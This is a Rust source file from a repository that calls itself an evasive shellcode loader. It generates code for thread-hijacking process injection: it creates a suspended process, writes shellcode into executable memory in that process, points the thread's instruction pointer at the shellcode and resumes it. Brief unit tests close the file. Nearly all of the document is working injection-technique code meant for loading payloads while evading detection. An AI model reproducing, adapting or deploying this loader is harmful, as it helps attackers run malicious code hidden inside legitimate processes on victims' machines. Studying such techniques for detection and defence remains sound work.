myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

thread_hijacking.rs (7274B)

      1 pub fn thread_hijacking_import() -> String {
      2     super::common::common_process_injection_imports().to_string()
      3 }
      4 
      5 pub fn thread_hijacking_const() -> String {
      6     format!(
      7         r#"
      8 {}
      9 
     10 {}
     11 
     12 #[repr(C)]
     13 struct Context {{
     14     context_flags: u32,
     15     _dr0_dr6: [u64; 7],
     16     _seg_cs_ss: [u16; 6],
     17     _eflags: u32,
     18     rax: u64,
     19     rcx: u64,
     20     rdx: u64,
     21     rbx: u64,
     22     rsp: u64,
     23     rbp: u64,
     24     rsi: u64,
     25     rdi: u64,
     26     r8: u64,
     27     r9: u64,
     28     r10: u64,
     29     r11: u64,
     30     r12: u64,
     31     r13: u64,
     32     r14: u64,
     33     r15: u64,
     34     rip: u64,
     35     _padding: [u8; 512],
     36 }}
     37 
     38 #[link(name = "kernel32")]
     39 extern "system" {{
     40     {}
     41 
     42     fn OpenThread(
     43         desired_access: u32,
     44         inherit_handle: i32,
     45         thread_id: u32,
     46     ) -> *mut std::ffi::c_void;
     47 
     48     fn SuspendThread(thread: *mut std::ffi::c_void) -> u32;
     49 
     50     fn ResumeThread(thread: *mut std::ffi::c_void) -> u32;
     51 
     52     fn GetThreadContext(thread: *mut std::ffi::c_void, context: *mut Context) -> i32;
     53 
     54     fn SetThreadContext(thread: *mut std::ffi::c_void, context: *const Context) -> i32;
     55 
     56     fn CreateToolhelp32Snapshot(flags: u32, process_id: u32) -> *mut std::ffi::c_void;
     57 
     58     fn Thread32First(snapshot: *mut std::ffi::c_void, entry: *mut ThreadEntry) -> i32;
     59 
     60     fn Thread32Next(snapshot: *mut std::ffi::c_void, entry: *mut ThreadEntry) -> i32;
     61 
     62     fn CloseHandle(object: *mut std::ffi::c_void) -> i32;
     63 }}
     64 
     65 #[repr(C)]
     66 struct ThreadEntry {{
     67     size: u32,
     68     usage: u32,
     69     thread_id: u32,
     70     owner_process_id: u32,
     71     base_priority: i32,
     72     delta_priority: i32,
     73     flags: u32,
     74 }}
     75 
     76 const TH32CS_SNAPTHREAD: u32 = 0x4;
     77 const THREAD_ALL_ACCESS: u32 = 0x1FFFFF;
     78 const CONTEXT_FULL: u32 = 0x10000B;
     79 
     80 {}
     81 "#,
     82         super::common::COMMON_MEMORY_CONSTANTS,
     83         super::common::COMMON_PROCESS_CONSTANTS,
     84         super::common::common_process_injection_externs(),
     85         super::common::common_process_structures()
     86     )
     87 }
     88 
     89 pub fn thread_hijacking_init() -> String {
     90     String::new()
     91 }
     92 
     93 pub fn thread_hijacking_process(process: &str) -> String {
     94     let process_wide = format!(
     95         "let process_path: Vec<u16> = \"{}\\0\".encode_utf16().collect();",
     96         process.replace('\\', "\\\\")
     97     );
     98 
     99     format!(
    100         r#"
    101     unsafe {{
    102         {}
    103 
    104         let mut si = StartupInfoW {{
    105             cb: std::mem::size_of::<StartupInfoW>() as u32,
    106             reserved1: ptr::null_mut(),
    107             desktop: ptr::null_mut(),
    108             title: ptr::null_mut(),
    109             x: 0,
    110             y: 0,
    111             x_size: 0,
    112             y_size: 0,
    113             x_count_chars: 0,
    114             y_count_chars: 0,
    115             fill_attribute: 0,
    116             flags: 0,
    117             show_window: 0,
    118             reserved2: 0,
    119             reserved3: ptr::null_mut(),
    120             std_input: ptr::null_mut(),
    121             std_output: ptr::null_mut(),
    122             std_error: ptr::null_mut(),
    123         }};
    124 
    125         let mut pi = ProcessInformation {{
    126             process: ptr::null_mut(),
    127             thread: ptr::null_mut(),
    128             process_id: 0,
    129             thread_id: 0,
    130         }};
    131 
    132         let result = CreateProcessW(
    133             process_path.as_ptr(),
    134             ptr::null_mut(),
    135             ptr::null(),
    136             ptr::null(),
    137             0,
    138             CREATE_SUSPENDED,
    139             ptr::null(),
    140             ptr::null(),
    141             &si,
    142             &mut pi,
    143         );
    144 
    145         if result == 0 {{
    146             panic!("failed");
    147         }}
    148 
    149         let addr = VirtualAllocEx(
    150             pi.process,
    151             ptr::null(),
    152             shellcode.len(),
    153             MEM_COMMIT | MEM_RESERVE,
    154             PAGE_EXECUTE_READWRITE,
    155         );
    156 
    157         if addr.is_null() {{
    158             panic!("failed");
    159         }}
    160 
    161         let write_result = WriteProcessMemory(
    162             pi.process,
    163             addr,
    164             shellcode.as_ptr() as *const std::ffi::c_void,
    165             shellcode.len(),
    166             ptr::null_mut(),
    167         );
    168 
    169         if write_result == 0 {{
    170             panic!("failed");
    171         }}
    172 
    173         let mut context = Context {{
    174             context_flags: CONTEXT_FULL,
    175             _dr0_dr6: [0; 7],
    176             _seg_cs_ss: [0; 6],
    177             _eflags: 0,
    178             rax: 0,
    179             rcx: 0,
    180             rdx: 0,
    181             rbx: 0,
    182             rsp: 0,
    183             rbp: 0,
    184             rsi: 0,
    185             rdi: 0,
    186             r8: 0,
    187             r9: 0,
    188             r10: 0,
    189             r11: 0,
    190             r12: 0,
    191             r13: 0,
    192             r14: 0,
    193             r15: 0,
    194             rip: 0,
    195             _padding: [0; 512],
    196         }};
    197 
    198         if GetThreadContext(pi.thread, &mut context) == 0 {{
    199             panic!("failed");
    200         }}
    201 
    202         context.rip = addr as u64;
    203 
    204         if SetThreadContext(pi.thread, &context) == 0 {{
    205             panic!("failed");
    206         }}
    207 
    208         ResumeThread(pi.thread);
    209         CloseHandle(pi.thread);
    210         CloseHandle(pi.process);
    211     }}
    212 "#,
    213         process_wide
    214     )
    215 }
    216 
    217 fn generate_thread_hijacking_template(function_name: &str, process: &str) -> String {
    218     super::common::TechniqueTemplateBuilder::new()
    219         .with_import(thread_hijacking_import())
    220         .with_const(thread_hijacking_const())
    221         .with_init(thread_hijacking_init())
    222         .with_process(thread_hijacking_process(process))
    223         .build(function_name)
    224 }
    225 
    226 pub fn generate_thread_hijacking_code(function_name: &str, process: &str) -> String {
    227     generate_thread_hijacking_template(function_name, process)
    228 }
    229 
    230 pub struct ThreadHijackingGenerator;
    231 
    232 impl super::trait_generator::TechniqueGenerator for ThreadHijackingGenerator {
    233     fn generate_code(&self, process: &str, function_name: &str) -> String {
    234         generate_thread_hijacking_code(function_name, process)
    235     }
    236 
    237     fn generate_code_with_dynamic_resolver(
    238         &self,
    239         process: &str,
    240         function_name: &str,
    241         _encryption_type: &str,
    242         _encryptor: &dyn crate::encryption::Encryptor,
    243     ) -> String {
    244         self.generate_code(process, function_name)
    245     }
    246 
    247     fn requires_process(&self) -> bool {
    248         true
    249     }
    250 
    251     fn name(&self) -> &'static str {
    252         "ThreadHijacking"
    253     }
    254 }
    255 
    256 #[cfg(test)]
    257 mod tests {
    258     use super::*;
    259     use crate::internals::templates::techniques::trait_generator::TechniqueGenerator;
    260 
    261     #[test]
    262     fn test_generate_thread_hijacking_template_contains_all_parts() {
    263         let template = generate_thread_hijacking_template("MyFunction", "cmd.exe");
    264         assert!(template.contains("use std::ptr"));
    265         assert!(template.contains("SuspendThread"));
    266         assert!(template.contains("fn MyFunction"));
    267         assert!(template.contains("GetThreadContext"));
    268         assert!(template.contains("SetThreadContext"));
    269     }
    270 
    271     #[test]
    272     fn test_generate_thread_hijacking_code() {
    273         let code = generate_thread_hijacking_code("MyRandomFunc", "notepad.exe");
    274         assert!(code.contains("fn MyRandomFunc"));
    275         assert!(code.contains("ResumeThread"));
    276         assert!(code.contains("VirtualAllocEx"));
    277     }
    278 
    279     #[test]
    280     fn test_thread_hijacking_generator_name() {
    281         let gen = ThreadHijackingGenerator;
    282         assert_eq!(gen.name(), "ThreadHijacking");
    283     }
    284 
    285     #[test]
    286     fn test_thread_hijacking_requires_process() {
    287         let gen = ThreadHijackingGenerator;
    288         assert!(gen.requires_process());
    289     }
    290 }